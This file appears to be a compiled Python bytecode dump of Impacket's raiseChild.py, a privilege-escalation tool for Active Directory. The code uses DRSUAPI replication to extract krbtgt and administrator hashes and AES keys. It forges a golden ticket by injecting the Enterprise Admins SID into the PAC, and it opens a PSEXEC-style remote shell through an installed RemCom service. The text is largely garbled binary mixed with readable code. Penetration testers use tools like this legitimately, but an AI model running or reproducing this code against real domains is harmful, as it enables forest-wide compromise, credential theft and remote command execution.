o
    j                  
   @   s4  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
Z
d dlZd dlmZmZ d dlmZmZ d dlmZ d dlmZ d dlmZ zd dlZW n eyp   ed	 ed
 ed Y nw d dlmZ d dlmZm Z  d dl!m"Z" d dl#m$Z$m%Z%m&Z& d dl'm(Z(m)Z)m*Z*m+Z+ d dl,m-Z-m.Z.m/Z/ d dl0m1Z1 d dl2m3Z3m4Z4m5Z5m6Z6m7Z7 d dl8m9Z9m:Z: d dl;m<Z< d dl=m>Z> d dl?m@Z@ d dlAmBZBmCZC d dlDmEZEmFZF d dlGmHZHmIZI d dlJmKZKmLZL d dlMmNZNmOZOmPZPmQZQ d dlRmSZSmTZTmUZU d dlVmWZWmXZXmYZYmZZZm[Z[m\Z\m]Z]m^Z^ d dl_m`Z`maZambZbmcZc d d ldmeZe d d!lfmgZg d d"ldmhZhmiZi d d#ljmkZk d d$l=mlZlmmZm G d%d& d&ekZnG d'd( d(ekZod)Zpd*Zqd+Zre ZsG d,d- d-etZuG d.d/ d/ZvG d0d1 d1eZwG d2d3 d3ewZxG d4d5 d5ewZyG d6d7 d7e
jzZ{G d8d9 d9ewZ|G d:d; d;Z}e~d<kreej ejd=d>d?Zejd@dAdBdC ejdDdEdFdC ejdGdEdHdC ejdIdAdJdKdL ejdMdAdNdOdL ejdPdAdQdRdSdT edUZejdVdAdWdXdL ejdYdEdZdC ejd[dEd\dC ejd]dAd^d_dL eejdkrde  ed` eda edb edc edd ede edf edg edh edi edj edk edl edm edn edo edp ed e Ze>ejej e@ejejejejej\ZZZZZe_edqkredr ed dsZze}ejeeeeeZe  W dS  eey Z z!eee e egkredt W Y dZ[dS W Y dZ[dS dZ[w ety Z z7ejdud=dv eee eedwrejdxkredyej  W Y dZ[dS W Y dZ[dS W Y dZ[dS dZ[ww dS )z    )division)print_functionN)ThreadLock)	unhexlifyhexlify)gethostbyname)unpack)PY3z"This module needs pyasn1 installedz7You can get it from https://pypi.python.org/pypi/pyasn1   )version)	PrincipalKerberosTime)	constants)getKerberosTGTgetKerberosTGSKerberosError)AS_REPAuthorizationDataAD_IF_RELEVANTEncTicketPart)_enctype_tableget_kerberos_key_for_enctypeget_matching_aes_key)NDRULONG)NULLGROUP_MEMBERSHIPSE_GROUP_MANDATORYSE_GROUP_ENABLED_BY_DEFAULTSE_GROUP_ENABLED)decoderencoder)noValue)logger)parse_identityLMOWFv1NTOWFv1)RPC_SIDMAXIMUM_ALLOWED)RPC_C_AUTHN_LEVEL_PKT_PRIVACYRPC_C_AUTHN_GSS_NEGOTIATE)MSRPC_UUID_NRPChDsrGetDcNameEx)MSRPC_UUID_LSATPOLICY_LOOKUP_NAMESLSAP_LOOKUP_LEVELhLsarLookupSids)hLsarQueryInformationPolicy2POLICY_INFORMATION_CLASShLsarOpenPolicy2)KERB_SID_AND_ATTRIBUTESPAC_INFO_BUFFERPAC_LOGON_INFOPAC_CLIENT_INFO_TYPEPACTYPEPKERB_SID_AND_ATTRIBUTES_ARRAYVALIDATION_INFOsign_pac)	transportdrsuapiepmsamr)SessionError)STATUS_NO_LOGON_SERVERS)SMBConnectionsmb)	Structure)	remcomsvcserviceinstallc                   @      e Zd ZdZdS )RemComMessage))Commandz4096s="")
WorkingDir260s="")Priorityz<L=0x20)	ProcessIDz<L=0x01)MachinerL   )NoWait<L=0N__name__
__module____qualname__	structure rW   rW   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/raiseChild.pyrI   s       rI   c                   @   rH   )RemComResponse))	ErrorCoderQ   )
ReturnCoderQ   NrR   rW   rW   rW   rX   rZ   }   rY   rZ   RemCom_stdoutRemCom_stdinRemCom_stderrc                   @   s   e Zd ZdS )RetryableGoldenTicketErrorN)rS   rT   rU   rW   rW   rW   rX   r`      s    r`   c                   @   s$   e Zd Zdd Zdd Zdd ZdS )PSEXECc                 C   s4   || _ || _d | _|| _d | _|| _|| _|| _d S N)_PSEXEC__username_PSEXEC__command_PSEXEC__path_PSEXEC__domain_PSEXEC__exeFile_PSEXEC__copyFile_PSEXEC__TGS_PSEXEC__smbConnection)selfcommandusernamedomainsmbConnectionTGScopyFilerW   rW   rX   __init__   s   
zPSEXEC.__init__c              
   C   s  t j|d| jd}| }z|  W n ty1 } ztt| t	
d W Y d }~nd }~ww |  az>d}| }|d | jd u rUt| t }n/zt| jd}W n ty{ } ztt| t	
d W Y d }~nd }~ww t| |}|  | jd ur|  | jd ur|| j| tj| j tj| jd | j | _|d}	| ||	d	d
}
t  }t! }d"dd t#dD |d< | j$d ur| j$|d< | j|d< ||d< |%|	|
|&  da't(|dt)|d |d f t*j+t*j,B | j-| }|.  t/|dt0|d |d f t*j1}|.  t2|dt3|d |d f t*j1}|.  |4|	|
d}t5|rUt6|}t7d| j|d |d f  |8  | jd url|9| tj| j d}t	
|d  W d S  t:y     ty } z4t;t| |du r|8  | jd ur|9| tj| j t	j<=  t	
d W Y d }~d S d }~ww )Nz/svcctl)filenamesmb_connectionr   Fi rb IPC$z\RemCom_communicatoni  c                 S   s   g | ]}t tjqS rW   )randomchoicestringascii_letters).0_rW   rW   rX   
<listcomp>   s    zPSEXEC.run.<locals>.<listcomp>   rO   rK   rJ   rN   z\%s%s%d   z6Process %s finished with ErrorCode: %d, ReturnCode: %dr[   r\   T)>r=   SMBTransportrj   get_dce_rpcconnect	Exceptionloggingcriticalstrsysexitget_smb_connection
getDialectdialect
setTimeoutrg   rG   ServiceInstallrF   	RemComSvcopeninstallcloserh   	copy_filegetShareospathbasenamerd   connectTreeopenPiperI   getpidjoinrangere   writeNamedPipegetDataLastDataSentRemoteStdInPipeRemComSTDINrD   FILE_WRITE_DATAFILE_APPEND_DATAri   startRemoteStdOutPipeRemComSTDOUTFILE_READ_DATARemoteStdErrPipeRemComSTDERRreadNamedPipelenrZ   info	uninstall
deleteFile
SystemExitdebugstdoutflush)rk   addrrpctransportdceeunInstalledsinstallServiceftidfid_mainpacketpid
stdin_pipestdout_pipestderr_pipeansretCoderW   rW   rX   run   s   










z
PSEXEC.runc                 C   s   d}d}|du r,|dkr,z
| || d}W n   |d8 }td Y |du r,|dks|dkr4td|j|||dd	d
}|S )NF2   r   Tr      zPipe not ready, aborting@      creationOptionfileAttributes)waitNamedPipetimesleepr   openFile)rk   r   r   pipe
accessMask	pipeReadytriesfidrW   rW   rX   r      s   
	zPSEXEC.openPipeN)rS   rT   rU   rr   r   r   rW   rW   rW   rX   ra      s    
bra   c                   @      e Zd ZdddZdd ZdS )PipesNc                 C   sX   t |  d| _|| _| | _d| _d| _|| _|	 | _
|| _|| _|| _d| _d S )Nr   T)r   rr   serverr=   get_credentialscredentialsr   r   share	get_dportportr   permissionsrp   daemon)rk   r=   r   r   rp   r   rW   rW   rX   rr     s   



zPipes.__init__c           	      C   s   zTt   td| j  | jtd| _| j	\}}}}}}}}| j
||||| t   | jd| _| j| j| j | jj| j| j| jddd| _| jd W d S  tyf   td| j  Y d S w )	N
*SMBSERVER	sess_portpreferredDialectrw   r   r   r   i@B z9Something wen't wrong connecting the pipes(%s), try again)lockacquirerC   r=   r   getRemoteHostr   r   r   r   loginreleaser   r   r   r   r   r   r   r   r   r   r   	__class__	rk   userpasswdrn   lmntaesKeyTGTrp   rW   rW   rX   connectPipe  s   zPipes.connectPipeNN)rS   rT   rU   rr   r   rW   rW   rW   rX   r     s    
r   c                   @      e Zd Zdd Zdd ZdS )r   c                 C      t | ||| d S rb   r   rr   rk   r=   r   permisssionsrW   rW   rX   rr   -     zRemoteStdOutPipe.__init__c                 C   sv   |    	 z| j| j| jdd}W n   Y n"z|tkr,tj|	d tj
  ndatdkr4daW n   Y q)NTr      cp437rx   
   )r   r   readFiler   r   r   r   r   writedecoder   rk   r   rW   rW   rX   r   0  s"   zRemoteStdOutPipe.runNrS   rT   rU   rr   r   rW   rW   rW   rX   r   ,      r   c                   @   r   )r   c                 C   r   rb   r   r   rW   rW   rX   rr   H  r   zRemoteStdErrPipe.__init__c                 C   sZ   |    	 z| j| j| jdd}W n   Y nztjt| tj	  W n   Y q)NTr   r   )
r   r   r   r   r   r   stderrr   r   r   r   rW   rW   rX   r   K  s   zRemoteStdErrPipe.runNr   rW   rW   rW   rX   r   G  r  r   c                   @   s^   e Zd Zdd Zdd Zdd Zdd Zd	d
 Zdd Zdd Z	dd Z
dd ZdddZdS )RemoteShellc                 C   sN   t j| d d| _|| _d | _|| _|| _|| _|| _	|| _
|| _d| _d S )NFz'[!] Press help for extra shell commands)cmdCmdrr   promptr   transferClientr   r   r   r   r   rp   intro)rk   r   r   r   r   r   rp   r   rW   rW   rX   rr   Z  s   
zRemoteShell.__init__c           	   
   C   sR   t d| j | jtd| _| j\}}}}}}}}| jj||||||| jdd d S )Nr   r   F)rp   useCache)	rC   r   r   r   r   r  r   kerberosLoginrp   r   rW   rW   rX   connect_transferClientg  s
   "z"RemoteShell.connect_transferClientc                 C   s$   t d| j| jf  | dd d S )Na  
 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)
 get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir 
 ! {cmd}                    - executes a local shell cmd

F)printr   	send_datark   linerW   rW   rX   do_helpm  s   
zRemoteShell.do_helpc                 C   s   t | | d d S Nr  )r   systemr  )rk   r   rW   rW   rX   do_shellw  s   
zRemoteShell.do_shellc              
   C   s   z1| j d u r
|   dd l}||}t|d}td| j|f  | j | j||j	 |
  W n tyJ } ztt| W Y d }~nd }~ww | d d S )Nr   wbzDownloading %s\%sr  )r  r  ntpathr   r   r   r   r   getFiler   r   r   errorr   r  )rk   src_pathr  rs   fhr   rW   rW   rX   do_get{  s   


zRemoteShell.do_getc           
   
   C   s  zm| j d u r
|   |d}t|dkr|d }|d }nt|dkr*|d }d}tj|}t|d}|d | }|dd}t	
d|| j|f  trY| j | j||j n| j | j|tjj|j |  W n ty }	 zt	t|	 W Y d }	~	nd }	~	ww | d d S )	Nrv   r   r   /ru   \zUploading %s to %s\%sr  )r  r  splitr   r   r   r   r   replacer   r   r   r
   putFilereadr   r   stdinencodingr   r   r  r   r  )
rk   r   paramsr  dst_pathsrc_filer  r   pathnamer   rW   rW   rX   do_put  s2   



zRemoteShell.do_putc              
   C   sf   |dkrt t  n!zt| W n ty+ } ztt| W Y d }~nd }~ww | d d S )Nrx   r  )	r  r   getcwdchdirr   r   r  r   r  )rk   r   r   rW   rW   rX   do_lcd  s   zRemoteShell.do_lcdc                 C   s   |  d d S r  )r  )rk   rW   rW   rX   	emptyline  s   
zRemoteShell.emptylinec                 C   s>   t r| |dd  d S | |tjjdd  d S )Nr   s   
r  )r
   r  encoder   r   r#  r$  r  rW   rW   rX   default  s   "zRemoteShell.defaultTc                 C   s*   |du r|a nda | j| j| j| d S )NTrx   )r   r   	writeFiler   r   )rk   data
hideOutputrW   rW   rX   r    s   zRemoteShell.send_dataN)T)rS   rT   rU   rr   r  r  r  r  r)  r,  r-  r/  r  rW   rW   rW   rX   r  Y  s    

r  c                   @   r   )r   Nc                 C   s   t | ||||| d S rb   r   )rk   r=   r   r   rp   r   rW   rW   rX   rr     s   zRemoteStdInPipe.__init__c                 C   s6   |    t| j| j| j| j| j| j| j}|	  d S rb   )
r   r  r   r   r   r   r   rp   r   cmdloop)rk   shellrW   rW   rX   r     s   "zRemoteStdInPipe.runr   r   rW   rW   rW   rX   r     s    
r   c                   @   s  e Zd Zd;ddZddddd	d
dZdddddddZddddddZdZdd Ze	dd Z
e	dd Zdd  Zd!d" Zejjejjddfd#d$Zd<d%d&Zd<d'd(Zd)d* Zd<d+d,Ze	d-d. Ze	d=d/d0Ze	d1d2 Ze	d3d4 Ze	d5d6 Zd7d8 Zd9d: ZdS )>
RAISECHILDNrx   c           	      C   s
  d| _ |j| _|| _d | _|| _|j| _d| _|j	| _
d | _d | _i | _|| jd< || jd< || jd< d| jd< d| jd< |j| jd< d | jd	< d | jd
< d | _|jd urk|jd\}}t|| jd< t|| jd< | jd ur| | j| _td|| jf  d S d S )Nr   rx   rm   passwordrn   lmhashnthashr   r   rp   :z$getDNSMachineName for %s returned %s)_RAISECHILD__rid	targetRID_RAISECHILD__targetRID_RAISECHILD__target_RAISECHILD__kdcHost_RAISECHILD__commandw_RAISECHILD__writeTGT_RAISECHILD__domainSidk_RAISECHILD__doKerberos_RAISECHILD__drsr_RAISECHILD__ppartialAttrSet_RAISECHILD__credsr   hashesr  r   getDNSMachineNamer   r   )	rk   targetrm   r6  rn   optionsrl   r7  r8  rW   rW   rX   rr     s8   








zRAISECHILD.__init__i 	 i	 i 	 iZ 	 i7 	 i} 	 )	objectSiduserPrincipalNamesAMAccountName
unicodePwddBCSPwdsupplementalCredentialsz1.2.840.113556.1.4.146z1.2.840.113556.1.4.656z1.2.840.113556.1.4.221z1.2.840.113556.1.4.90z1.2.840.113556.1.4.55z1.2.840.113556.1.4.125zdec-cbc-crczdes-cbc-md5zaes128-cts-hmac-sha1-96zaes256-cts-hmac-sha1-96rc4_hmac)r            l   t    c              	   C   s   t d |d }| jdu r!| t|}t dt||f  n|}d| }t|}t|drU||d |d |d |d	 |d
 |d  | jsP|d d urU|	d |
 }|  |t t|ttttd}|d d d d |d d d d fS )NzCalling NRPC DsrGetDcNameEx()rn   T%s is %szncacn_np:%s[\pipe\netlogon]set_credentialsrm   r6  r7  r8  r   r   DomainControllerInfo
DomainNameDnsForestName)r   r   rD  rI  r   r=   DCERPCTransportFactoryhasattrrX  set_kerberosr   r   bindr,   r-   r   )rk   credsrJ  machineNameOrIpstringBindingr   r   resprW   rW   rX   getChildInfo  s&   





(zRAISECHILD.getChildInfoc              
   C   s   zt | | }|dd W nE ty' } zt|ddkr"td d }~w ty@ } zt|ddkr;td d }~w tyR   td|   Y |
 S w |	  |
 S )Nrx   	timed outr   zThe connection is timed out. Probably 445/TCP port is closed. Try to specify corresponding NetBIOS name or FQDN instead of IP addressSTATUS_NOT_SUPPORTEDThe SMB request is not supported. Probably NTLM is disabled. Try to specify corresponding NetBIOS name or FQDN as the value of the -dc-host option.%Error while anonymous logging into %s)rC   r   OSErrorr   findr   rA   r   r   logoffgetServerName	machineIPr   r   rW   rW   rX   getMachineName-  s&   
zRAISECHILD.getMachineNamec              
   C   s   zt | | }|dd W nB ty' } zt|ddkr"td d }~w ty@ } zt|ddkr;td d }~w tyO   td|   Y nw |	  |
 d |  S )	Nrx   rf  r   zThe connection is timed out. Probably 445/TCP port is closed. Try to specify corresponding NetBIOS name or FQDN instead of IP address.rg  rh  ri  .)rC   r   rj  r   rk  r   rA   r   r   rl  rm  getServerDNSDomainNamern  rW   rW   rX   rI  D  s$   
zRAISECHILD.getDNSMachineNamec              	   C   s,  | j du r| t|}tdt||f  nt|}td d| }t|}t|drK||d |d |d |d	 |d
 |d  |	| j  |
 }|  |t t|ttB }|d }	t||	tj}|d d d  }
t }||
d |  t||	|tj}|d d d d }|
|fS )NTrW  z+Calling LSAT hLsarQueryInformationPolicy2()zncacn_np:%s[\pipe\lsarpc]rX  rm   r6  rn   r7  r8  r   PolicyHandlePolicyInformationPolicyAccountDomainInfo	DomainSid-TranslatedNamesNamesr   Name)rD  rI  r   r   r   r=   r]  r^  rX  r_  r   r   r`  r.   r4   r)   r/   r2   r3   PolicyAccountDomainInformationformatCanonicallistappendr1   r0   LsapLookupWksta)rk   parentDCra  r;  rb  rc  r   r   rd  policyHandle	domainSidsids
targetNamerW   rW   rX   getParentSidAndTargetName[  s0   




z$RAISECHILD.getParentSidAndTargetNamec              	   C   s  | j du s|d d ur| t|}tdt||f  nt|}tj|tjdd}t	
|}t|drl|d d urP|j|d d|d	 |d d
 |d n||d |d |d	 |d |d |d  || j  | | _| jt | j s|d d ur| jt | j  | jtj t }tj|d< t }t||d< tjtjB tjB tjB |d< tj|d< d|d< d|d< d|d< tj|d< d|d< t| |d d< t | |d d< | j!|}t }	d"|d d dtt |d d    }
|	#|
 |	d dkr>t$ j%tj&kr td|	d   |	d |d< t||d d< t | |d d< | j!|}|d  | _'t(| j| j'|d!}|d" d# d$ dkrg|d" d# d% d d& | _)d S t*d'|  t+d())NTr   rW  ncacn_ip_tcp)protocolrX  rm   rx   rn   )r   r6  r7  r8  r   puuidClientDsacbdwFlagsSiteObjGuidr   PiddwReplEpoch
dwFlagsExtConfigObjGUID   	dwExtCaps
pextClientrgb    ppextServer    zADC's dwReplEpoch != 0, setting it to %d and calling DRSBind againphDrsr   pmsgOutV2cItemsrItemsNtdsDsaObjectGuidz"Couldn't get DC info for domain %szFatal, aborting),rD  rI  r   r   r   r?   hept_mapr>   MSRPC_UUID_DRSUAPIr=   r]  r^  rX  r_  r   rE  set_auth_levelr*   set_auth_typer+   r   r`  DRSBindNTDSAPI_CLIENT_GUIDDRS_EXTENSIONS_INTr   DRS_EXT_GETCHGREQ_V6DRS_EXT_GETCHGREPLY_V6DRS_EXT_GETCHGREQ_V8DRS_EXT_STRONG_ENCRYPTIONNULLGUIDr   r}  requestr   
fromString	getLoggerlevelDEBUG_RAISECHILD__hDrshDRSDomainControllerInfo_RAISECHILD__NtdsDsaObjectGuidr  r   )rk   
domainNamera  rb  rc  rpcr  drsrd  drsExtensionsIntr  rW   rW   rX   __connectDrds  st   









zRAISECHILD.__connectDrdsc                 C   s4   | j d u r| || t| j | jd|||f}|S )Nr   )rE  _RAISECHILD__connectDrdsr>   hDRSCrackNamesr  )rk   rJ  formatOfferedformatDesirednamera  rd  rW   rW   rX   DRSCrackNames  s   
zRAISECHILD.DRSCrackNamesc                 C   sJ  d }|d d d d d d D ]Z}zt ||d }| j}W n  ty? } ztd|  |d }| j}W Y d }~nd }~ww ||d	 krj|d
 d dkrjd|d
 d d d }t | j	|}t
|dk rjd }qd d d}	|rz
t|\}
}}W n   Y d S t|D ]}
zt|}W n ty   tjddd Y  d S w |t
|d  }|d ddkrt|d }t|}|d }t|d D ]J}t|}|t
|d  }||d d  d |d  }|d | jv r|d ttjjjkrt||	d< q|d ttjjjkrt||	d< qq|	d s!|	d r#|	S d S ) Nr  V6pObjectsEntinf	AttrBlockpAttrattrTypz,Failed to execute OidFromAttid with error %srQ  AttrValvalCountr   r  pAValpVal   	aes128Key	aes256KeyzIMalformed supplemental credential property, discarding the remaining dataTexc_infoPropertyNamezutf-16lezPrimary:Kerberos-Newer-KeysPropertyValueBufferCredentialCount	KeyOffset	KeyLengthKeyTyper  r  )r>   OidFromAttidATTRTYP_TO_ATTIDr   r   r   NAME_TO_ATTRTYPr   DecryptAttributeValuerE  r   r@   unpack_user_propertiesr   USER_PROPERTYr   r   KERB_STORED_CREDENTIAL_NEWKERB_KEY_DATA_NEWKERBEROS_TYPEintr   EncryptionTypesaes128_cts_hmac_sha1_96valuer   aes256_cts_hmac_sha1_96)rk   recordprefixTable	plainTextattrattIdLOOKUP_TABLEr   blobkerberosKeysr~   propertyCountpropertiesDatauserPropertypropertyValueBufferkerbStoredCredentialNewr1  
credential
keyDataNewkeyValuerW   rW   rX   __decryptSupplementalInfo  sl    


z$RAISECHILD.__decryptSupplementalInfoc                 C   s   t d|d d d d d d   d}d }d }|d d d d	 d
 d D ]}zt||d }| j}W n  tyV }	 zt d|	  |d }| j}W Y d }	~	nd }	~	ww ||d kr|d d dkrzd|d d d d }
t| j	|
}q't
dd}q'||d kr|d d dkrd|d d d d }t| j	|}q'tdd}q'||d kr|d d dkrd|d d d d }td|dd  d }q'td|d d d d d d  q'|d u rt||}|d u rt||}|t|t|fS )NzDecrypting hash for user: %sr  r  pNC
StringNamer[  r   r  r  r  r  r  zHFailed to execute OidFromAttid with error %s, fallbacking to fixed tablerP  r  r  rx   r  r  rO  r  rL  z<LzCannot get objectSid for %s)r   r   r>   r  r  r   r  r   r  rE  r&   r'   r	   removeDESLayerr   )rk   r  r  ridLMHashNTHashr  r  r  r   encrypteddBCSPwdencryptedLMHashencryptedUnicodePwdencryptedNTHashrL  rW   rW   rX   __decryptHash  sF   & 
$zRAISECHILD.__decryptHashc                 C   s  | j d u r
| | t }| j|d< d|d< d|d d< | j|d d d< | j|d d d< t }d	|d
< tj|d< d|d< t||d< |d |d< t|	 |d< ||d d d< d	|d d d d< d	|d d d d< t
|d d d< tjtjB |d d d< d|d d d< d	|d d d< tj|d d d< | jd u rg | _t | _d| jd< t| j| jd< t| j D ]}| jd t| j| q| j|d d d< t| j|d d d  d!< | j|d d d  d"< t
|d d d#< | j |S )$NhDrsr   dwInVersionpmsgIntagV8uuidDsaObjDestuuidInvocIdSrcr   SidLenGuidrx   SidNameLen r  	structLenr  
usnvecFromusnHighObjUpdateusnHighPropUpdatepUpToDateVecDestulFlagsr   cMaxObjects	cMaxBytesulExtendedOp	dwVersioncAttrsrgPartialAttrpPartialAttrSetPrefixTableDestPrefixCountpPrefixEntrypPartialAttrSetEx1)rE  r  r>   DRSGetNCChangesr  r  DSNAMEr  r   r   r   DRS_INIT_SYNCDRS_WRIT_REPEXOP_REPL_OBJrF  _RAISECHILD__prefixTablePARTIAL_ATTR_VECTOR_V1_EXTr  r}  valuesr~  	MakeAttidr  )rk   	userEntryra  r  dsNamer  rW   rW   rX   r  5  sF   






zRAISECHILD.DRSGetNCChangesc              
   C   s  d||f }z| j |tjj||d}|d d d d dkre|d d d d d	 d
 d	krS| |d d d d d	 d d d |}|d d d d	krRtdn"td|d d d d d	 d
  td|d d d d |f | ||d d d d \}}}	| ||d d d d }
W n  ty } ztj	ddd t
d t
t|  d }~ww | j  d | _d  }}|
d ur|
d }|
d }i }||d< |	|d< ||d< ||d< ||fS )Nz%s@%s)r  ra  r  V1pResultr  r   r  r   statuspNamer[  r  cNumObjectsz)DRSGetNCChanges didn't return any object!z(DRSCrackNames status returned error 0x%xz+DRSCrackNames returned %d items for user %sPrefixTableSrcr  
Exception:Tr  zError while processing user!r  r  r7  r8  )r  r>   DS_NAME_FORMATDS_USER_PRINCIPAL_NAMEr  r   _RAISECHILD__decryptHash$_RAISECHILD__decryptSupplementalInfor   r   r  r   rE  
disconnect)rk   userNamern   ra  upncrackedName
userRecordr  r7  r8  r  r   r  r  rW   rW   rX   getCredentialsc  sL    $" 

zRAISECHILD.getCredentialsc              	   C   s:   dD ]\}}| |rtd| |||| df  qd S )N))r  zaes256-cts-hmac-sha1-96s)r  zaes128-cts-hmac-sha1-96sz%s/%s:%s:%sutf-8)getr  r   )r  
targetUserr   keyNamelabelrW   rW   rX   _printKerberosKeys  s
   
zRAISECHILD._printKerberosKeysc           #   
   C   s>  t j| t dd }|d d d }t|d d d  }	t|	j||d}
zt|	j|||d}W n tyA } ztt	|d }~ww |	
|d	|}t j|t dd }tjtjjtjd
d }t||d< t||d< t j|d d d t dd }t|d d  }|d }i }t|d D ]&}t|}|d |d d d  d |d  }|||d < |t|d  }qt|v r|t }t }||t  t| }||| t j tj!krt"d |#  t$d d}t% |d d< t||d d< |D ]"}t& }t' }||d< ||d< t(t)B t*B |d< |d d +| q|d d dkr@|d d  d O  < t, |d d!< |d d  d"7  < t- }t. }|/| ||d#< t(t)B t*B |d< |d d! +| | |0  }d$t|d% d d t|  } t j tj!krt"d& |#  t$d nt1d't2|vrt1d(||t< t3||
|d)d*}t4 }!t5|!d< t6t7j8j9j:|!d d+< | |!d d< t;<|!}!|!|d d d< t;<|}"t|d d d  }	zt|	j|||d}W n ty } ztt	|d }~ww |	=|d	|"d }||d d d< t;<|||fS ),N)asn1Specr   ticketzenc-partcipheretype)
aes128_key
aes256_key)nt_hashrA  rB  r   iB  )daysendtimez
renew-tillzauthorization-datazad-dataBufferscBuffersOffsetr   cbBufferSizeulTypez%VALIDATION_INFO before making it gold
)i  i   i  i  i  DataGroupIds
GroupCount
RelativeId
AttributesSidCount	UserFlags    	ExtraSidsr   r  r     z$VALIDATION_INFO after making it goldz"PAC_LOGON_INFO not found! Abortingz(PAC_CLIENT_INFO_TYPE not found! AbortingT)aes_keyrC  infer_aes_signature_typezad-type)>r    r   r   r   r   enctyper   
ValueErrorr`   r   decryptr   datetimenowtimezoneutc	timedeltar   to_asn1r   r9   asOctetsr   r6   r   r7   r;   r  r   fromStringReferentsr   r  r  r  r   dumpr  r}  r   r   r   r   r   r~  r:   r5   r(   fromCanonicalgetDataReferentsr   r8   r<   r   r"   r  r   AuthorizationDataTypeAD_WIN2K_PACr  r!   r.  encrypt)#tgtoriginalCipher
sessionKeyntHashextraSidr  r  asRep
cipherTextr?  ticketAesKeykeyr   r  encTicketParttenYearsFromNowadIfRelevantpacTypebufferspacInfosnBuf
infoBufferr1  validationInfolenValgroupsgroupgroupMembershipgroupId	sidRecordsidvalidationInfoBlobvalidationInfoAlignmentauthorizationDataencodedEncTicketPartrW   rW   rX   
makeGolden  s   
 $


 




zRAISECHILD.makeGoldenc                 C   s(   | d rt | d t| d d dS d S )Nr6  r7  r8  r   r%   )
childCredsrW   rW   rX   _get_rc4_retry_cred"  s   

zRAISECHILD._get_rc4_retry_credc                 C   s   |  dp	|  dS )Nr  r  )r8  )ra  rW   rW   rX   _get_preferred_aes_key-  s   z!RAISECHILD._get_preferred_aes_keyc                 C   s    | d |d ko| d |d kS )Nr7  r8  rW   )	leftCreds
rightCredsrW   rW   rX   _same_rc4_creds1  s    zRAISECHILD._same_rc4_credsc                 C   s  t d||f  | ||| j\}}t d||f  d}t d|  | |||\}}td||||d d|d df  | ||| t|d	 t	j
jjd
}	i }
i }g }d }|d rn|ddd|d df |d r|d |d d d}|d|f |d r|dddd df | |}|d ur|d u s| ||s|d|f |std|D ]6\}}z)t d|  t|	|d |d |d |d |d | j\}}}}t d|  W n. ty } z!| t	jjjt	jjjfv rt d|| f  W Y d }~q d }~ww z| j||||d |d |d|dd\}}}W n tyH } zt d||f  W Y d }~qd }~ww ||
d< ||
d< ||
d< ||
d < | jd u rptd!| t| t	j
jjd
}ntd!| j t	j
jjd
}zAt  d"|  td#|j!|f  td$|  t"||d | j|||\}}}}||
d< ||
d < ||d< ||d< ||d< ||d < W  n2 ty } z!| t	jj#jt	jjjfv rt d%|| f  W Y d }~q d }~ww td&t d|  d}|
|d'< | |||\}}td||||d d|d df  | ||| t d(|  | |||\}}td||||d d|d df  | ||| i }||d	< d|d< ||d< |d |d< |d |d< |d|d< |d|d< | $||d< d |d'< d |d)< ||
|fS )*NzRaising %s to %sz"%s Enterprise Admin SID is: %s-519krbtgtzGetting credentials for %sz%s/%s:%s:%s:%s:::r7  r7  r8  rm   )typer   AESrx   r  RC4r6  r  zpassword->RC4zNo credentials providedzTrying %s for TGT requestrn   zTGT obtained using %sz*%s failed (error 0x%x), trying next methodz-519r  r  r  z?%s failed while building golden ticket (%s), trying next methodKDC_REPr?  oldSessionKeyrk  zcifs/%szGetting TGS for SPN %sz8[*] Golden ticket etype: %s (using %s child credentials)z[*] Requesting TGS for %szQGolden ticket built from %s child credentials rejected (0x%x), trying next methodzFGolden ticket was rejected with all available child credential methodsr   zTarget User account name is %srp   )%r   r   r  r<  r6  r  r   r<  r   r   PrincipalNameTypeNT_PRINCIPALr  r~  r  r  r   r   r>  r   getErrorCode
ErrorCodesKDC_ERR_ETYPE_NOSUPPKDC_ERR_PREAUTH_FAILEDwarningr  r8  r`   r=  rp  r   NT_SRV_INSTr   rX  r   KDC_ERR_TGT_REVOKEDr  )rk   	childNamer  
parentNameentepriseSidr  r9  r  r   r2  r   rp   credAttemptsexplicitRc4CredpasswordRc4CredcredTypecredri  r?  r  rk  r   goldenTicketgoldenCiphergoldenSessionKey
serverNametgsCIFS
cipherCIFSoldSessionKeyCIFSsessionKeyCIFStargetCredsrW   rW   rX   raiseUp5  s   



*
zRAISECHILD.raiseUpc              	   C   s4  | j }| | j \}}td|  td|  | |||\}}}| jd urLtd| j  ddlm} | }||d |d |d  |	| j | j
d urtd	| j
  dd
lm}	 |	d| j
}
|
j|d d|d |d |d |d dd | jdkrt| j|d |d |
d d }|| j
 d S d S d S )NzRaising child domain %szForest FQDN is: %szSaving golden ticket into %sr   )CCacher  r  rk  zOpening PSEXEC shell at %s)rC   r   rm   rx   rn   r7  r8  r   F)r
  None)rG  re  r   r   r  rA  impacket.krb5.ccacher  fromTGTsaveFiler=  impacket.smbconnectionrC   r  r?  ra   r   )rk   r  r  
forestNamer  	parentTGT	parentTGSr  ccacherC   r   executerrW   rW   rX   exploit  s.   


zRAISECHILD.exploit)Nrx   rx   rx   Nrx   rb   r   )rS   rT   rU   rr   r  r  r  HMAC_SHA1_96_AES256re  staticmethodrp  rI  r  r  r>   r-  DS_DISPLAY_NAMEDS_FQDN_1779_NAMEr  r0  r/  r  r6  r<  r  r  r  r  r  r  rW   rW   rW   rX   r5    sd    
'



%H



>'
.(
 



r5  __main__Tz9Privilege Escalation from a child domain up to its forest)add_helpdescriptionrJ  storezdomain/username[:password])actionhelpz-ts
store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-wr(  zBwrites the golden ticket in CCache format into the <pathname> file)r  metavarr  z-target-execztarget addresszDTarget host you want to PSEXEC against once the main attack finishedz
-targetRIDRID500zMTarget user RID you want to dump credentials. Administrator (500) by default.)r  r  r/  r  authenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z
Examples: z0	python raiseChild.py childDomain.net/adminuser
z 	the password will be asked, or
z6	python raiseChild.py childDomain.net/adminuser:mypwd
z%	or if you just have the NTLM hashes
